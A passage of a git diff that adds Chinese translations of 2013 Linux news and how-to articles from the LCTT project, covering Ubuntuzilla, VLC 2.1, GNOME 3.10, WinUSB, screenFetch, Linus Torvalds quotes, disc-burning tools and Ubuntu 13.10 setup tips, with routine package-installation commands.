+![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-18.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-19.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-20.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-21.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-22.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-23.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-24.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-25.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145-26.jpg) + + +via: http://news.softpedia.com/news/Ubuntu-Touch-Screenshot-Tour-The-Road-So-Far-385145.shtml + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[wxy]:http://linux.cn/space/wxy diff --git a/published/201309/Ubuntuzilla--An Easy Way To Install Latest Mozilla Software.md b/published/201309/Ubuntuzilla--An Easy Way To Install Latest Mozilla Software.md new file mode 100644 index 0000000000..71fdbd745c --- /dev/null +++ b/published/201309/Ubuntuzilla--An Easy Way To Install Latest Mozilla Software.md @@ -0,0 +1,74 @@ +Ubuntuzilla: 安装最新版Mozilla软件的简单方法 +================================================================================ + +[**Ubuntuzilla**][1] 是一个包含最新版本 **Mozilla Firefox,Mozilla Thunderbird** ,和 **Mozilla Seamonkey** 软件的 **APT** 仓库,这个仓库将适用于Ubuntu以及所有的Debian衍生发行版。Ubuntuzilla在[Ubuntu论坛][3]的第三方项目区域有一个[支持论坛][2],因此,如果用户有任何问题、意见或者建议就可以使用它来反馈。 + +###为什么要用Ubuntuzilla? + +回答这个很简单。对于一个特定版本的Ubuntu发行版,官方仓库包含这个版本的Ubuntu发布日期时的软件包的最新版本。发布之后,再次更新的软件包不被加入这个仓库,除非是修复安全漏洞。使用Ubuntuzilla的用户可以得到,并及时更新还没有加入到Ubuntu/Debian官方仓库的Mozilla软件,听起来还不错吧?恩,就是这样。 + +###添加Ubuntuzilla仓库 + +添加Ubuntuzilla并不困难,但是如果你已经在使用旧版的ubuntuzilla脚本,你应该先删除掉它,否则由于已经有了一个**/usr/bin**下的符号链接,在安装时候后,依旧会使用旧版的脚本。 + +运行一下命令来移除旧版本的Ubuntuzilla脚本: + + $ sudo ubuntuzilla.py -a remove -p + +首先,强烈建议大家备份已存在的Firefox/Thunderbird/Seamonkey的用户个人文件。它被存放在你的主目录。Firefox和Seamonkey个人文件存放在 **.mozilla** 目录中。Thunderbird 的个人文件存放在 **.thunderbird** 或者 **.mozilla-thunderbird** 目录中。 + +使用任意编辑器打开**/etc/apt/sources.list**文件。 + + $ sudo nano /etc/apt/sources.list + +在里面添加下面一行: + + deb http://downloads.sourceforge.net/project/ubuntuzilla/mozilla/apt all main + +保存并退出文件。 + +使用以下命令在apt 的 keyring中添加下面的软件包签名公钥: + + $ sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com C1289A29 + +使用下行命令更新源文件表: + + $ sudo apt-get update + +现在你可以从Ubuntuzilla安装你想要的Mozilla 软件了。 + +**安装Mozilla Firefox:** + + $ sudo apt-get install firefox-mozilla-build + +**安装Mozilla Thunderbird:** + + $ sudo apt-get install thunderbird-mozilla-build + +**安装Mozilla Seamonkey:** + + $ sudo apt-get install seamonkey-mozilla-build + +这些命令可以移除软件包: + + $ sudo apt-get remove firefox-mozilla-build + $ sudo apt-get remove thunderbird-mozilla-build + $ sudo apt-get remove seamonkey-mozilla-build + +我发现它对那些想要最新版Mozilla产品的人非常有用。使用愉快! + + +via: http://www.unixmen.com/ubuntuzilla-easy-way-install-latest-mozilla-products/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[flsf01][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[flsf01]:http://linux.cn/space/flsf01 +[Caroline]:http://linux.cn/space/14763 + +[1]:http://sourceforge.net/apps/mediawiki/ubuntuzilla/index.php?title=Main_Page +[2]:http://ubuntuforums.org/forumdisplay.php?f=251 +[3]:http://ubuntuforums.org/ diff --git a/published/201309/VLC 2.1 released with new features and 1000 bug fixes.md b/published/201309/VLC 2.1 released with new features and 1000 bug fixes.md new file mode 100644 index 0000000000..de29ad7eb0 --- /dev/null +++ b/published/201309/VLC 2.1 released with new features and 1000 bug fixes.md @@ -0,0 +1,48 @@ +增加了新功能并修复了1000个bug的VLC 2.1发布 +==================================== + +VLC 是一个强大的多功能媒体播放器, 包含大量的功能并支持绝大多数已存在的解码器和视频格式,用户可尽情体验其强大功能. + +**VLC 2.1 "Rincewind"** 已经[发布][1], 它进行了大量的修复,优化和改进,包括: + + + - 重写音频核心,改进音量处理 + - 重修音频模块以适配新的音频核心 + - 4k视频支持 + - 通过VDPAU硬件解码 + - 支持不完整的MP4文件 + - 增加支持MKV,MJPEG和AVI流 + - 增强蓝光输入 + - 加强MKV 搜索 + - 改进MKV文件metadata和字幕支持 + + +![](http://iloveubuntu.net/pictures_me/vlc%202.1%20stable%20saucy.png) + + +VLC 2.1 **修复了约 1000个bug** , 从而加强了该媒体播放器,相对于之前的版本它增强了稳定性,速度和可靠性. + + +如何 **安装** VLC 2.1? + +添加下面的 **官方的** PPA (Ubuntu 13.10),然后安装: + + sudo add-apt-repository ppa:videolan/stable-daily + + sudo apt-get update + sudo apt-get install vlc + + +via: http://iloveubuntu.net/vlc-21-released-new-features-and-1000-bug-fixes + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[flsf01][] 校对:[jasminepeng][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[flsf01]:http://linux.cn/space/flsf01 +[jasminepeng]:http://linux.cn/space/jasminepeng + +[1]:http://www.videolan.org/vlc/releases/2.1.0.html + diff --git a/published/201309/Weather App refines its visuals.md b/published/201309/Weather App refines its visuals.md new file mode 100644 index 0000000000..a703fbd2bf --- /dev/null +++ b/published/201309/Weather App refines its visuals.md @@ -0,0 +1,42 @@ +好消息!Weather App更新美化界面啦! +================================================================================ +WeatherApp是一款[Ubuntu软件开发套件][1]应用程序,可以收集、管理并显示相关的天气信息,界面漂亮美观。 + +这款方便的天气小工具实现了多城市、单色图标、日期、滚轮切换、每小时更新天气等功能,另外还可以翻页显示额外的天气细节哟~ + +[WeatherApp][2] 现已更新,新发布的版本将原本的纯文本通知美化为漂亮的可视化界面啦~ + +如下图中显示,点击底部工具栏的`Refresh`按钮,界面上立即显示出一个漂亮的数据加载框,白色的底面结合旋转的小圈圈,旁边再配上 `Loading...`的字样,有没有觉得连等待都变得那么友好与美妙呢~ + +![](http://iloveubuntu.net/pictures_me/weather%20app%20new%20activity%20indicator%20sep22.png) + +几周以前,WeatherApp开始支持故障通知,这就意味着,假如发生网络无法连接等异常状况,WeatherApp就能及时向亲爱的用户们告知啦~ + +本次更新,我们将上面提到的出错通知进行了调整,调整后的通知以同样的圆角白色风格配以灰体字提醒,`暂时无法加载天气信息,请稍后重试~`,这与之前整个窗口用浅黑色透明图层填充相比是不是清新了许多? + +![](http://iloveubuntu.net/pictures_me/weather%20app%20internet%20notification.png) + +那么,怎样**安装**WeatherApp 0.3版本呢? + +很简单,在终端中依次输入以下命令就可以啦(Ubuntu 13.04,Ubuntu 13.10): + + sudo add-apt-repository ppa:ubuntu-sdk-team/ppa && sudo add-apt-repository ppa:ubuntu-touch-coreapps-drivers/daily + + sudo apt-get update + sudo apt-get install ubuntu-sdk ubuntu-weather-app + +(译者注:安装使用愉快,天气变化,请注意及时增减衣物哦~) + +via:http://iloveubuntu.net/weather-app-refines-its-visuals + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[Caroline]:http://linux.cn/space/14763 + +[1]:http://developer.ubuntu.com/get-started/ +[2]:https://launchpad.net/ubuntu-weather-app diff --git a/published/201309/What Should You Expect from GNOME 3.10.md b/published/201309/What Should You Expect from GNOME 3.10.md new file mode 100644 index 0000000000..e824775ad6 --- /dev/null +++ b/published/201309/What Should You Expect from GNOME 3.10.md @@ -0,0 +1,39 @@ + +GNOME 3.10有哪些值得期望? +====================== + +GNOME 3.10 会在9月25号发布,将会超乎它的每个用户的期待,所以我们觉得应该给大家预先揭示下它的新特性。 + +首先,我们得说一下GNOME 3.1O的新应用程序。在即将发布的GNOME 3.10的桌面环境中,引入了一些新的应用程序,比如:GNOME地图、GNOME音乐、GNOME照片、GNOME视频和GNOME便笺等。 + +让我们来简单介绍一下上面提到的新的应用程序吧。GNOME地图确实如你想的一样,一个地图应用程序,能够让用户搜索位置、获取方位、锁定位置,也可以用来寻找人和商业区。 + +另一方面,GNOME音乐不是像你想象的那样——一个Rhythmbox音乐播放器的替代品,因为它只是提供了在文件管理器(Nautilus)里显示音乐目录里文件的一种简单、舒适的方式。Rhythmbox也仍然很稳定(只是版本升级到3.0),并且成熟到能够很好的替代iTunes。 + +GNOME便笺和现在智能手机设备上面的备忘录或者便笺应用程序相似,提供漂亮、简单的方式来创建、编辑和查看记录(仅限文本和图片)。一些人也许会对这个应用程序没有加入事件提醒和记录清单列表功能表示失望。 + +GNOME照片(感谢Debarshi Ray)将会成为查看和管理照片的默认应用程序,集成了对Flickr、Fackbook的支持。GNOME视频则是搜索和查看本地或者远程视频文件的默认程序。 + +其次,正如每个人(也许吧)期望的一样,GNOME3的外观有了一点变化。新的系统状态菜单栏( [我们已经在最近的文章中提到过](http://linux.cn/article-1946-1.html) )拥有输入焦点跟踪、着色功能的图形化用户界面和程序切换预览功能,以便你方便地在应用程序之间切换。 + +另外一个很酷的事情就是GNOME软件应用程序将会成为即将到来的GNOME 3.10桌面环境的一部分,它和Ubuntu的软件中心很相似,但仅仅是一个预览。 + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/gnome310-large_001.jpg) + + *上图是GNOME软件管理应用程序的预览图,由*[WrodofGNOME](http://worldofgnome.org/gnome-upcoming-features/))*提供* + +在其他特性中,我们会发现集成了Zimbra企业类邮件软件、日历及协作的解决方案,systemd将用于用户会话,集成了Git支持、Hi-DPI(高分辨率)显示支持,Wacom支持,Xsettings的设置重写,整体调整和开始移植到Wayland上。 + +via: http://news.softpedia.com/news/What-Should-You-Expect-from-GNOME-3-10-383513.shtml + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[暮霭加][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[暮霭加]:http://linux.cn/space/14798 +[wxy]:http://linux.cn/space/wxy + +[1]:http://news.softpedia.com/news/GNOME-3-10-Will-Have-a-Beautiful-and-Handy-System-Menu-380938.shtml +[2]:http://worldofgnome.org/gnome-upcoming-features/ \ No newline at end of file diff --git a/published/201309/WinUSB--Create A Bootable Windows USB In Linux.md b/published/201309/WinUSB--Create A Bootable Windows USB In Linux.md new file mode 100644 index 0000000000..6751d31731 --- /dev/null +++ b/published/201309/WinUSB--Create A Bootable Windows USB In Linux.md @@ -0,0 +1,68 @@ +WinUSB: 在linux上创建一个Windows的可引导的U盘 +========================================= +hi,小伙伴们, + +我不是来这里宣传使用微软的windows的,如你所见这是一篇关于如何创建一个可引导的U盘的文章。在Windows中也有一个这样的工具,它就是好用的Power ISO。 + +你可能还记得在学校或者家里有时需要从DVD或者.iso文件建立一个可引导启动的windows U盘,但你没有使用Windows,就没法使用Power ISO来完成. + +在linux上你可以用Unetbootin,但是新版的Unetbootin不再支持。虽然你可以使用旧版本,并且在这之前需要将U盘格式化成NTFS格式,但这对新手来说确实很复杂。 + +现在,我来介绍一个叫**winusb**的工具,如果你从来没有听过它,没关系,请继续读下去。 + +**[WinUSB][1]** 是一个在linux上用来建立Windows安装U盘或者可引导U盘的简单的命令行工具。 + +我们先来安装**winusb**,之后我们来看如何使用它。 + +通过PPA来安装**winusb**: + + $ sudo add-apt-repository ppa:colingille/freshlight + $ sudo apt-get update + $ sudo apt-get install winusb + +WinUSB可以运行在命令行下(终端),我们可以在终端中使用如下命令(需要root权限)建立一个Windows 7或者windows Vista 的安装U盘: + + $ sudo winusb --format + +**例如:** + + $ sudo winusb --format Desktop/SETHO/Win7.iso /dev/sdc1 + +**Desktop/SETHO/Win7.iso** 是.iso文件路径,**/dev/sdc1**是设备路径。(**注**:用**df**命令获得设备路径) + +安装一个Windows ISO到**NTFS**分区,并修改主引导记录(MBR): + + $ sudo winusb --install + +**例如:** + + $ sudo winusb --install Desktop/SETHO/Win7.iso /dev/sdd1 + +**/dev/sdd1**是分区路径 + +如果你不喜欢命令行,**WinUSB**同样有GUI版,但是你应该试着学习它爱上命令行,其实它很简单易懂。 + +从dash中启动: + +**Dash > WinUSB** + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/WinUSB_dash.png) + +启动之后,选择.iso文件和设备,点击安装即可. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/WinUSB.png) + + + +via:http://www.unixmen.com/winusb-create-bootable-windows-usb-linux/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[flsf01][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[flsf01]:http://linux.cn/space/flsf01 +[Caroline]:http://linux.cn/space/14763 + +[1]:http://congelli.eu/prog_info_winusb.html diff --git a/published/201309/screenFetch- The BASH Screenshot Information Tool.md b/published/201309/screenFetch- The BASH Screenshot Information Tool.md new file mode 100644 index 0000000000..c8eb0dc3cf --- /dev/null +++ b/published/201309/screenFetch- The BASH Screenshot Information Tool.md @@ -0,0 +1,75 @@ +#screenFetch: 命令行信息截图工具 + +[screenFetch](https://github.com/KittyKatt/screenFetch) 是一个“命令行信息截图工具”。它可以在终端上显示系统信息,并进行桌面截图。它能生成漂亮的文本的系统信息和ASCII艺术的发行版LOGO,然后显示在截屏图片中。 + +它会自动检测你的发行版并显示其ASCII版本的LOGO,在其右侧显示系统信息。可以通过选项来指定是否显示LOGO、指定颜色,进行截图,甚至可以自定义截图的命令。screenFectch非常容易添加和扩展。 + +screenFetch将显示以下系统信息: + +- 当前登录用户 +- 操作系统版本 +- 内核版本 +- 总计运行时间 +- 已安装包数量 +- 当前shell详情 +- 当前屏幕分辨率 +- 当前桌面环境 +- 当前窗口管理器(文件管理器) +- 总计及空闲磁盘使用百分比 +- CPU详情,如处理器速度、类型 +- 总计及当前内存使用量 + +###在Linux上安装screenFectch + +您可以通过直接从项目页下载源码包的方式安装,或者从screenFetch git库克隆。 + +源码安装: + +下载 [最新版](http://git.silverirc.com/cgit.cgi/screenfetch.git/). 我下载并安装在/home/sk/Downloads目录. + +用命令解压: + + $ unzip Downloads/screenfetch-3.1.0.zip + +进入screenFectch目录,并设置执行权限. + + $ cd screenfetch-3.1.0/ + $ chmod +x screenfetch-dev + +在命令行运行: + + $ ./screenfetch-dev + +输出示例: + +![img](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/sk@sk-screenfetch-3.1.0_008.png) + +###通过git库安装 + +首先确认你是否安装了git. + +如果没有安装,基于RHEL系统的用户用以下命令安装: + + # yum install git + +基于Debian系统的用户用以下命令安装: + + # apt-get install git + +使用命令克隆screenFectch库: + + # git clone git://github.com/KittyKatt/screenFetch.git screenfetch + +复制文件到/usr/bin/目录,并设置执行权限: + + # cp screenfetch/screenfetch-dev /usr/bin/screenfetch + # chmod +x /usr/bin/screenfetch + +运行screenFectch: + + # screenfetch + +您将会看到如上面截图所示的结果. + + +via: http://www.unixmen.com/screenfetch-bash-screenshot-information-tool/ diff --git a/published/201310/10 Best Quotes from Linus Torvalds' Keynote at LinuxCon Europe.md b/published/201310/10 Best Quotes from Linus Torvalds' Keynote at LinuxCon Europe.md new file mode 100644 index 0000000000..923d2505e7 --- /dev/null +++ b/published/201310/10 Best Quotes from Linus Torvalds' Keynote at LinuxCon Europe.md @@ -0,0 +1,63 @@ +Linus Torvalds 十句精彩语录 —— 来自 LinuxCon Europe 大会上的主旨发言 +================================================================================ +![](http://www.linux.com/images/stories/41373/Linus-and-Dirk.jpg) + +*Linus Torvalds 和 Dirk Hohndel 在 Edinburgh举行的 LinuxCon Europe 大会主席台上* + +Linux创始人 Linus Torvalds 坐在了在Edinburgh举办的[LinuxCon Europe][1]大会主席台上,陪同他的是来自Intel公司linux主管和开源技术专家 Dirk Hohndel,二人一起探讨linux的现在和未来,并且回答了来自社区的问题。讨论的话题很广泛,包括即将发布的3.12版内核, 内核维护者的理想性格,还有能让 Linus 熬夜去解决的一些问题,linux桌面游戏等等。 + +以下是linus的十句精彩语录, 来自大会上的主旨演讲, 按大会上发言时的顺序排列。 + +1、Linus 很满意当前内核版本三个月时间的发布周期,因为这样的话,开发者可以充分利用该时间段构建新的特性。即使他们错过了合并的窗口期, 等到下一次机会的到来,三个月的等待时间也不算很长, 他们也就不必急于提交代码了。 + +**“不必着急写代码,要确保代码运行正常且精心设计,不要担心期限问题。”** + +2、快速变更的步调还允许开发人员快速合并他们的代码, 然后继续下一步。 + +**“开发者在注意力持续时间问题上,有点类似于迟钝的林地动物。”** + +3、**“对于一个维护者来说,最重要的不在于你是不是一个优秀的工程师, 而在于你得负责任, 别人可以指望你, 7天的每一个24小时, 一年52个星期都是如此”。** + +年轻的开发者想成为一名维护人员是比较困难的。要经过数年时间的观察期,让社区信任你, 注意到你确实坚守在这里。那即是说,只要你能证明自己是可信赖的,想成为一名维护者还是容易的,毕竟这是一份棘手的工作,必须时刻保持关注。 + +4、Dirk:“是什么让你熬夜?” + +代码中的Bug,还有其他一些技术问题并不会让Linux太担忧。 + +**“技术上的东西,可以这么说,即使你做了蠢事,但都是可以解决的。”** + +5、真正让Linus熬夜的是与开发进度有关的社交性问题。 + +**“有时候情绪来了,可能好几天都比较有压力。 我也有脾气, 这对我来说没什么…… 但是其他人倾向于陷入到问题里边。结果浪费好几周时间,而且这些问题都挺让人纠结的。”** + +6、当提到说服大公司继续贡献内核代码并且使用开源软件, linus持进化论观点。他们要么从开源获益,要么就得承受经济上的损失。 + +**“我从事开源,因为有乐趣而且开源行得通…… 跟内核社区合作的公司会花费更少的时间并且使工作更有成效。”** + +7、**“如果你的公司认为内核的微小改动可以带来竞争优势,你恐怕将会面临经济问题。最好还是考虑一下生产廉价的高质量的硬件好了。”** + +![](http://www.linux.com/images/stories/41373/Linus-Torvalds-LinuxCon-Europe.jpg) + +*Linux 创始人 Linux Torvalds 回答现场观众的提问,2013 LinuxCon Europe大会。* + +8、有关linux桌面版的现状,linus有几点要谈。linux桌面仍然可以改善。但是各个发行版之间的内讧已然是个问题。 + +**“我开始设计 Linux 时候就是想看到它在桌面上运行。我希望大家能更好的合作,一起设计一个真正漂亮的登录界面。”** + +9、Linus认为 Valve’s Steam有助于linux桌面版的开发,这是个极好的机会。他们打算为运行游戏的Linux发行版制定一个标准。。 + +**“这是标准化的最好的模式。标准不是说人们就坐在烟雾弥漫的房间里,写啊写。能够带来市场效益才称得上成功。”** + +10、针对多样性, linus说他希望看到内核社区的发展壮大, 有来自不同地区的更多的女性和开发者参与到其中。 + +**“女性太少了。但是我并不担心。过去我们就讨论过来自日本的开发者太少的问题。这是可以解决,只是时间问题。”** + +-------------------------------------------------------------------------------- + +via: http://www.linuxfoundation.org/news-media/blogs/browse/2013/10/10-best-quotes-linus-torvalds-keynote-linuxcon-europe + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://events.linuxfoundation.org/events/linuxcon-europe diff --git a/published/201310/3 Good CD And DVD Burning Tools For Ubuntu.md b/published/201310/3 Good CD And DVD Burning Tools For Ubuntu.md new file mode 100644 index 0000000000..1c72963c35 --- /dev/null +++ b/published/201310/3 Good CD And DVD Burning Tools For Ubuntu.md @@ -0,0 +1,80 @@ +Ubuntu下的三个好用的CD/DVD刻录工具 +============================== + +大约一周前,我的朋友向我寻求一些帮助,是关于在Ubuntu下有哪些好用的CD/DVD刻录软件。此人本是windows的用户,但是由于他使用的Windows软件花费太多了,超出他的承受能力,因此他开始计划尝试使用Linux系统了。为什么不用那些免费的软件来把你喜欢的电影和音乐刻录到光盘里呢?其实windows操作系统中也有免费的替代产品,但是既然我的朋友正在走向Linux世界,让我们给他一些信息,介绍三个可以在Ubuntu Linux系统下使用的免费CD/DVD刻录工具吧。 + +###Brasero Disc Burner + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/burning_tools1.png) + +相信每个Ubuntu的用户都很熟悉Brasero Disc Burner,因为它就是Ubuntu Linux系统自带的默认应用程序。Brasero是一个在GPL协议下发布的免费刻录程序。这个软件的优点是,它可以支持CD和DVD两种格式。Brasero可以支持单次写入数据DVD、任何类型的CD,并能使用所有的能够被本地安装的Gstreamer处理的音频文件(ogg,flac,mp3,...)。 + +**功能特点** + +**数据CD/DVD:** + +- 支持对光盘内容的编辑 (在文件夹中删除/移动/重命名文件) +- 支持实时刻录CD/DVD数据 +- 自动过滤掉不合适的文件 (隐藏文件,损坏/递归的链接文件,不符合Joliet标准的文件,...) +- 支持多区段刻录 +- 支持Joliet扩展 +- 能将光盘镜像写入到硬盘中 +- 能够检查光盘文件完整性 + +**音频 CD:** + +- 写入CD-TEXT信息(通过Gstreamer自动寻找) +- 支持编辑CD-TEXT信息 +- 能够多区段刻录音频CD +- 能够使用所有可以被本地安装的Gstreamer所处理的音频文件(ogg,flac,mp3,...)。 +- 能够在已删除的文件夹内查询音频文件 +- 在曲目间完全无噪音的编辑 + +你可以在[这里][1]读到完整的功能列表。 + +###K3b + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/burning_tools2.png) + +K3b是另一个能够完成大多数CD/DVD刻录任务的免费工具。这个功能丰富的软件有一个使用便捷的用户界面,并且能够处理蓝光或者高清DVD光盘。 + +该软件包含三个基本部分: + +**项目:** + +项目可以从文件菜单中创建,并且可以放入待刻录的数据 + +**工具:** + +工具菜单内提供各种工具,比如CD复制或者DVD格式化。 + +**根据不同任务提供相关的媒体工具:** + +当点击代表CD/DVD的驱动器图标时,K3b会展示出相关内容,并允许做一些更进一步的操作。比如翻录音频CD。 + +K3b能够把MP3和OGG的文件自动重命名为“艺术家-标题.mp3”这样的通用格式,可以通过托拽来刻录数据CD或者ISO镜像,可以创建eMovix格式的CD/DVD,能够把音频光碟翻录成任意CD数据库所支持的格式……这些还只是K3b的部分功能。你可以从[这里][2]阅读更多有关它的功能的资料。 + +###Xfburn + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/burning_tools3.png) + +Xfburn是另一个能够刻录CD/DVD的工具,它可以很好的运行在Xfce桌面环境中。它非常快速,轻量级,能够刻录视频CD和DVD。如果你不想为了K3b而安装KDE桌面环境的话,它会是最好的选择。 + +**提醒**:Xfburn 目前还在开发中,因此一些功能尚不具备,但是对于刻录数据来讲,它已经是一个非常好的工具了。 + +---- + + +via: http://www.unixmen.com/3-good-cd-dvd-burning-tools-ubuntu/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[markvv][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[markvv]:http://linux.cn/space/markvv +[Caroline]:http://linux.cn/space/14763 + +[1]:https://projects.gnome.org/brasero/ +[2]:http://www.k3b.org/ diff --git a/published/201310/8 Things To Do After Installing Ubuntu 13.10 (Saucy Salamander).md b/published/201310/8 Things To Do After Installing Ubuntu 13.10 (Saucy Salamander).md new file mode 100644 index 0000000000..ec2c1f8dc4 --- /dev/null +++ b/published/201310/8 Things To Do After Installing Ubuntu 13.10 (Saucy Salamander).md @@ -0,0 +1,316 @@ +Ubuntu 13.10安装后你要做的8件事 +================================================================================ + +Ubuntu 13.10 已经发布了,对于那些打算安装“纯净版”的用户,安装完系统后你可以考虑下面的8件事。 + +![](http://dl.dropboxusercontent.com/u/1113424/img/ubuntu13.10-saucy-salamander.jpg) + +### 1. 安装一些绚丽的小零件 ### + +![](http://dl.dropboxusercontent.com/u/1113424/img/indicator-systemload.png) + +**系统负载** 是系统监控工具GNOME里的一个小应用。它能在面板上展示出CPU、内存、网络使用、硬盘I/O等信息。点击下面的按钮从Ubuntu软件中心安装。 + +[![](https://apps.ubuntu.com/assets/images/scbutton-free-200px.png)][1] + +或者通过命令行进行安装: + + sudo apt-get install indicator-multiload + +![](http://dl.dropboxusercontent.com/u/1113424/img/indicator-cpufreq.png) + +**CPU频率**是一款等效于“GNOME-CPU调频”的应用。你可以实时的调整CPU的频率。点击下面的按钮从Ubuntu软件中心安装。 + +[![](https://apps.ubuntu.com/assets/images/scbutton-free-200px.png)][2] + +或者通过命令行安装: + + sudo apt-get install indicator-cpufreq + +**我的天气**是一款显示当前天气的应用,它能显示5天内的预报并支持四大天气服务站点:OpenWeatherMap, Yahoo, Wunderground 和 World Weather Online。 + +通过命令行进行安装: + + sudo add-apt-repository ppa:atareao/atareao + sudo apt-get update + sudo apt-get install my-weather-indicator + +![](https://dl.dropboxusercontent.com/u/1113424/img/variety-wallpaper-changer.jpg) + + +[**Variety**][3]一款带有AppIndicator的应用,但是基本上你只需要配置一次就可以用指示器来使用此软件了。Variety是一款很酷的壁纸更换的应用,他能在设定的时间内自动下载并更换壁纸。用起来就有种高帅富的感觉。壁纸库每天都会有更新,你可以很快的切换到另外一个壁纸,收藏自己喜欢的壁纸,留着日后再用。 + +通过以下命令行安装: + + sudo add-apt-repository ppa:peterlevi/ppa + sudo apt-get update + sudo apt-get install variety + +![](http://dl.dropboxusercontent.com/u/1113424/img/diodon-indicator.png) + +你可能还需要一个剪切板管理器,试试**Diodon** 吧,这是款轻量型软件,支持文件、图像等。点击下面的按钮安装: + +[![](https://apps.ubuntu.com/assets/images/scbutton-free-200px.png)][4] + +或者通过命令行安装: + + sudo apt-get install diodon diodon-plugins + +### 2. 设置 Unity ### + +![](http://dl.dropboxusercontent.com/u/1113424/img/unity-tweak-tool.png) + +**Unity Tweak Tool**让用户能改变一些Unity设置,比如:自动隐藏、窗口最大化、“触发角”、Dash、Unity启动器或平视显示器、改变GTK或图标主题、改变字体和大小,移动窗口控制器到右边等。 + + +点击下面的按钮从软件中心安装 + +[![](https://apps.ubuntu.com/assets/images/scbutton-free-200px.png)][5] + +或者通过命令行安装 + + sudo apt-get install unity-tweak-tool + +### 3. 隐私设置 ### + +![](http://dl.dropboxusercontent.com/u/1113424/img/ubuntu13.10-privacy-security_2.png) + +你应该知道可以通过默认的Dash来查看最近访问的文件和其他的一些文件。系统设置可以通过设置**“安全和隐私”**来选择显示的文件类型。这样就不用看到那些软件、文件夹之类的了。你也可以清除最近的记录。 + +此外你在使用搜索框的时候,可以设定不显示网络搜索的结果。但是这会屏蔽掉所有的网络信息。所以当你仅仅是想**“屏蔽购物推荐”**的话,你可以输入下面的命令: + + gsettings set com.canonical.Unity.Lenses disabled-scopes "['more_suggestions-amazon.scope', 'more_suggestions-u1ms.scope', 'more_suggestions-populartracks.scope', 'music-musicstore.scope', 'more_suggestions-ebay.scope', 'more_suggestions-ubuntushop.scope', 'more_suggestions-skimlinks.scope']" + +更多插件屏蔽,点击[此处][6] + +![](http://dl.dropboxusercontent.com/u/1113424/img/indicator-privacy.png) + + +另外一种在Ubuntu 13.10中设置隐私的方法是使用**隐私指示器**,这是一款让你快捷设置启用/屏蔽Zeitgeist 或者在线搜索结果的软件,并能清除Zeitgeist日志和最近文件(显示先边栏的“最近”里面)。 + +[**下载 Privacy Indicator**][7](此网页中含有deb文件下载) + +### 4. 使用混合显卡功能### + +Ubuntu的开发人员已经在Ubuntu 13.10 (和 12.04 LTS版 )中实现了混合显卡技术,下面你会看到相关设置的说明。 + +![](http://dl.dropboxusercontent.com/u/1113424/img/nvidia-prime-nvsettings.png) + +**Nvidia Optimus**:不幸的是,Linux平台下Nvidia显卡驱动并不完全支持Optimus,[更多][8]。 + +但是Ubuntu 13.10用了“nvidia-prime”包来过渡。这个包使默认支持Intel显卡芯片的Optimus平台也支持Nvidia显卡。通过下面指令你能Nvidia显卡一直处于工作状态,就是说没有办法让它停止工作来节能了。这样笔记本就会功耗更大和过热--——**对我而言,我是不会 用这个的,除非过热的问题解决了**,如果没有解决的话,你可以取消这个设置。 + + +再次不幸的是,这不是唯一的问题。你会发现画面分割和热插拔并不工作。所以,如果你想用多个显示器的话。你需要手动的在xorg.conf进行设置。这样的好处就是,你可以玩那些不支持Intel显卡的游戏,用支持VDPAU的媒体播放器等。 + +即便如此,如果你还是想尝试一下的话,请确保你使用的是默认的显示管理器LightDM,并不是其他的,如GDN等。此外,如果你安装了Bumblebee,你需要卸载掉它: + + sudo apt-get purge bumblebee* bbswitch-dkms + 